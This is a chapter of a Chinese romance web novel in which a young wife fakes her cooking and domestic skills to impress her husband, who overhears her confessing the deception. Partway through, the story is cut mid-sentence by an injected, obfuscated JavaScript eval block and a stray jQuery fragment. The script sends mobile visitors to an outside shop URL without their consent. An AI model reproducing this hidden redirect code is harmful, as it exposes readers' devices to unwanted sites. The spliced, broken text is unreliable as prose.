12. 012
    早膳过后,沈书瑶借口去给母亲请安,就把谢屹一人撂在房里不管。出门前谢屹幽怨的看了她一眼,眼神很不满呐,沈书瑶可不管,谁让昨晚谢屹给她挖坑的。

    他要不给自己挖坑,她也不会一晚上没睡好,早上起来坐在床边头晕晕的,缓了好一会脑袋才好些。她想了一晚上,沈正安想尝尝她的手艺,她不会,这事只好求助母亲了。毕竟王氏知道她几斤几两,会帮她。

    在自己家就是自在,进哪道门都不必通传,想进哪进哪。去王氏院子拎着裙摆就进去,也不必装端庄。

    “母亲,母亲。”

    这会沈正安不在,就王氏在房里。闻声应了下,探头朝外看,“现在不是在婆家,来这么早做什么?”

    旁边妈妈跟着王氏笑,“姑娘嫁人一年,懂事了,知道早起来请安。”

    王氏摇头笑,自己女儿什么样,她比任何人清楚。新年回来住了一晚,睡到中午才起,在家没少唠叨谢府规矩多,睡觉都不能睡到自然醒。所以每次回来,王氏让都让她睡个够。

    今个倒是奇了,居然起这么早。

    是不是因为谢屹在,做给他看的?

    如此倒说的通了。

    王氏戴上步摇起身,沈书瑶刚好进门,头转了转,随后朝王氏走来。

    “母亲,我找你有点事。”

    王氏一副了然的模样,就说这么早过来肯定有事,果然啊。

    “说吧,什么事?”

    沈书瑶扯她的胳膊晃,撒娇道:“都怪谢屹,非得跟父亲说我厨艺好,这不,父亲说要尝尝我的手艺。”

    王氏听完扑哧一下笑出声来,笑了好一会,肚子一抽一抽的才停下。沈书瑶板着脸,不满她的反应,撅着唇瞪她。

    “母亲,你得帮我。”

    “行,怎么帮你?”

    她的眼睫纤长且卷密,眨动的时候眼神像颤动的小鹿,特别纯净无辜。王氏本就疼爱她,眼下见她这幅为难的神情,愈发心疼了。

    沈书瑶抿唇想了半刻,说:“帮我打掩护啊。”

    她是不会去厨房的,她不会,而且油烟味重,闻着难受。沈书瑶让厨房的人帮她,到时候她在外头转一圈就是了。就是怕她爹突然去厨房瞧着,那她可就完了。

    年少时做错事,父亲罚她抄佛经,她懒得很,背着让知微他们抄,结果被父亲逮个正着,后来不管她做什么,沈正安都盯着她。

    沈书瑶就怕他闲着没事,又盯着她,所以下午的时候,让母亲看着父亲,这样就万无一失了。

    王氏一脸慈爱的注视她,自然是答应了。顺便叮嘱两句,要她没事学学厨艺,不能一直弄虚作假,万一哪天被谢屹发现,会惹事端的。

    她嘴上嗯嗯两下,实则没放心上,就谢屹整天在外忙碌,不会发现的。他忙得很,没空天天观察她。

    得到王氏的帮忙,沈书瑶没什么担忧得了,陪王氏用了早膳就回了。

    回了院子,谢屹一边喝茶一边看书,神色专注,远远瞧着矜贵又优雅。沈书瑶盯着看了半响,眼中闪过一丝痴迷,随即,又面色如常。

    “换药了吗?”

    谢屹腿上的伤不深,虽然有点疼,但行动正常,早上她扔下自己出门,他便自己换药。眼下她回来关心自己,谢屹觉得多此一举,有点不高兴了。

    “换了。”

    沈书瑶哦了声,屋内又陷入沉默。早上起的早,一般上午或者午后她要睡会,现在没事,她又倒回了床上。

    谢屹见状,眉头一皱,“你现在要睡觉?”

    “嗯,怎么了?”

    她不在意的应了声,刚闭上眼猛然想起自己在他眼里的形象来。在谢屹看来,她这会应该看书看账本,要么就是做女红,而不是躺在床上睡大觉。

    她咬唇,一下坐起来,眉目瞬间温和,语调软了几分,听着娇软极了。

    “昨晚没睡好,又不忙,便想歇会。”

    谢屹没想那么多,就是觉得不该虚度光阴,应该看书练字。再说她的手,小巧软嫩,写出来的字应该也好看。

    男人眼睛往下,投在那双手上,此时她揪着裙摆,略显紧张。她紧张什么?

    谢屹敛眸,嗓音清润,“过来看会书。”

    她挠头,嫩白的小脸满是不愿,气恼的瞪了一眼,慢悠悠的穿鞋下榻。从书架上随手抽了一本书打发,接着往谢屹身旁坐。

    随意翻开,翻到哪页看哪页,自在得很。

    书上写的什么字,沈书瑶一个没看清楚,脑子困得麻木,剩下一点的清醒是在嘀咕他。自己看书就罢了,还是拉上她,怎的,看书还要人陪?

    须臾,沈书瑶熬不住了,从书后露出一双眼睛,亮晶晶的,“谢屹,你受伤了,应该多休息。”

    “嗯。”

    就嗯了下,便没说话,意味不明的态度让她很烦躁。罢了,不装了,直说吧。

    “我有点困了,要睡会。”

    专注看书的人终于动了,男人放下书,紧跟着她起身,“你扶我过去。”

    谢屹个高腿长,每次看他都得扬起脑袋,高大的身躯能完全笼罩她。眼前暗了一片,沈书瑶愣愣的点头。等谢屹倚靠在榻上,才明白他的意思。

    他要靠在床上看书。

    沈书瑶忽然看不懂了,他这是何意?

    仿佛黏着自己,她要上床休息,他也跟着,这么喜欢跟着自己?

    思索半刻,沈书瑶摇头,想多了不是,谢屹怎会黏着自己,大抵是想着等会看累了就往后倒,睡觉方便,遂以才这般的。

    沈书瑶打个哈欠,视线往上移,最后看了眼男人刚硬的下颌,悠悠的阖上眸。

    她睡得很快,又沉,是真累了。

    房内彻底安静,只有书本翻页的声响和均匀的呼吸声。

    谢屹偏头,手自然的伸到她脸颊,一边轻柔摩挲,一边看书,温柔缱绻。

    -

    这一觉睡得香甜,醒来日头正烈,已是午时。

    脑子尚未缓过来,眼睛朦胧,似蒙上一层薄雾,雾蒙蒙的,瞧不清楚。她揉眼,清明的同时眼前赫然是一张俊脸,正目光灼灼的凝视自己。

    沈书瑶下意识的往旁边挪,“你干嘛?”

    睡着了盯着她看,怪吓人的。

    睡了一觉的缘故,她的脸蛋绯红,明媚的眸子水光潋滟,愈发勾人。纤细的脖颈有了点细汗,晶莹的覆在肌肤上。

    男人眼神肆意打量,将人摁住,“躲什么?”

    他的眸子一暗,眉目染上些许情|欲,毫不掩饰的暴露在她眼前。这种眼神她熟悉,是在深夜无人时,将她拆吃入腹的表情,只有她见过。

    沈书瑶脸一热,支吾道:“现在是白天。”

    谢屹瞅了眼刺眼的日光,沉重的身躯往下压。

    “不碍事。”

    他不会白日宣淫,就是亲一下。

    事实证明,男人在床上的鬼话不可信,嘴上说的好听,行动又是另外一回事。

    半个时辰后,沈书瑶沐浴更衣,气冲冲回头哼了下,瞥见男人衣裳整齐,衣冠楚楚的模样就来气。一个外表正经,稳重内敛的男人,在床上怎么可以那样,说话不算话,斯文败类就是形容刚才的谢屹。

    沈书瑶甩甩衣袖,气呼呼的出门散心,谢屹在房内连喊几声,她充耳不闻,提着裙摆就走。

    身后的男人一怔,无奈的扯了扯唇,夫人生气了,这可如何是好?

    出门的沈书瑶直接去了湖心亭,那有个凉亭可以乘凉,无聊的话能喂鱼,还能赏荷,特别惬意。

    沈书瑶本不想出门,但刚才实在太气了,便出来解解闷。

    等会就要去厨房那边

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981112|148132||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,她答应了父亲,晚上下厨,做点好菜给他尝尝,不能忘了,要不要教训她,说她不孝。

    湖心亭景色好,后边是假山,凉快,左右种满了荷花,坐在石墩上能喂鱼。沈书瑶看着小鱼摇尾巴,特别感慨的喟叹下。

    连续叹了好几次,身边的穗华忍不住开口:“少夫人,您叹什么气?”

    “你不懂。”

    穗华瞅瞅铃春,又看她,笑道:“您说,我们就懂了。”

    她朝铃春挤眉弄眼,铃春立马会意,附和她的话说下去,“对对,咱们帮您排忧解难。”

    沈书瑶把鱼食一把扔下去,拍了拍手,眼珠子在两人身上转了转,道:“不想去厨房,烦。”

    这么一说两人就懂了。

    穗华弯腰,说话的声低了些,“做做样子嘛,不用您动手,您就搬张椅子,往那一靠,等厨房菜做好了,就说是您做的。”

    “就跟在兰园一样,没人知道。”

    话是这么说不错,但沈书瑶忽然觉得烦躁,这样骗人何时是个头,若是谢屹知道,他在她身上看见的一切是假的,会怎么想?

    大概很失望吧。自己的夫人并不贤良淑德,甚至散漫小气,他能气死。

    想到那个画面,沈书瑶就颤了下,抱着胳膊道:“谢屹要是知道我天天骗他,不得休了我。”

    说到休妻,穗华和铃春都害怕,脸色白了几分,可嘴上依然宽慰她。

    “这不是骗,最多是伪装。”

    铃春赞同,点头道:“对,说的对,是伪装。”

    穗华又柔声安慰两句,她的心里好受了些,刚才的那点烦闷没了。觉得穗华说的对,她不是骗人,最多是伪装。

    内宅里的女子,哪个没心眼,就说她婆母林氏,对她的好不也是装出来的,背地里指不定怎么说她。还有谢群的姨娘,表面一套,背地一套,都是如此。

    那她骗了谢屹一年,也不是什么大事。

    沈书瑶仰头,迎着风伸个懒腰,舒坦啊。

    “晚膳后就回去了,诶对了,回去赶紧把夏衣做好,省得谢屹找我要。”

    春衫夏衣,沈书瑶亲口对谢屹说过,自己给他做,就前几日,她还说快做好了。掰着手指头向谢屹邀功,说做衣裳手累,手指头疼,谢屹当时就温柔了几分。

    “奴婢知道,您放心。”

    彼时日头减弱,风从假山掠过,扑面而来,比午时凉快些。

    沈书瑶捶捶肩,懒散道:“时辰差不多了,去厨房那歇会。”

    主仆几人朝后厨走,说话声也随之小了。

    湖心亭后的假山上,树叶茂密,粗壮的树干遮挡高大的身影,人影模糊。

    -

    阿四在小路上等着,见谢屹面色难看的过来,心底咯噔一下,暗叫不好,大人脸色比出门时难看,肯定是少夫人在那头说大人坏话,被他亲耳听见了。

    这可怎么办?回去不会吵架吧。

    阿四跟在他身后,不敢吭一声,就怕说错,惹谢屹更生气。就他现在的脸色,任谁都瞧得出他心情不好,所以没人会往枪口上撞。

    心惊胆战的跟了一路,阿四低头走路,下一刻,撞在男人坚硬的后背上,脑袋嗡了一下,大人的背可真硬。

    谢屹步子一顿,冷声道:“去找找少夫人,看她去哪了?”

    “公子,沈府我不熟啊。”阿四为难。

    男人面色冷峻,漆黑的眸迸着冷意,声线愈发沉了,“用脑子想办法,用我教吗?”他生气

    “是是。”阿四连走带跑的闪了。

    谢屹站在原地良久,绷着下颌,要紧了牙。

    沈书瑶,好得很啊,一天到晚的骗他。

    从未有人如此戏耍他,他生气,烦闷,可更多的,是想知道她为何如此?

    夫妻之间,坦诚些不好吗?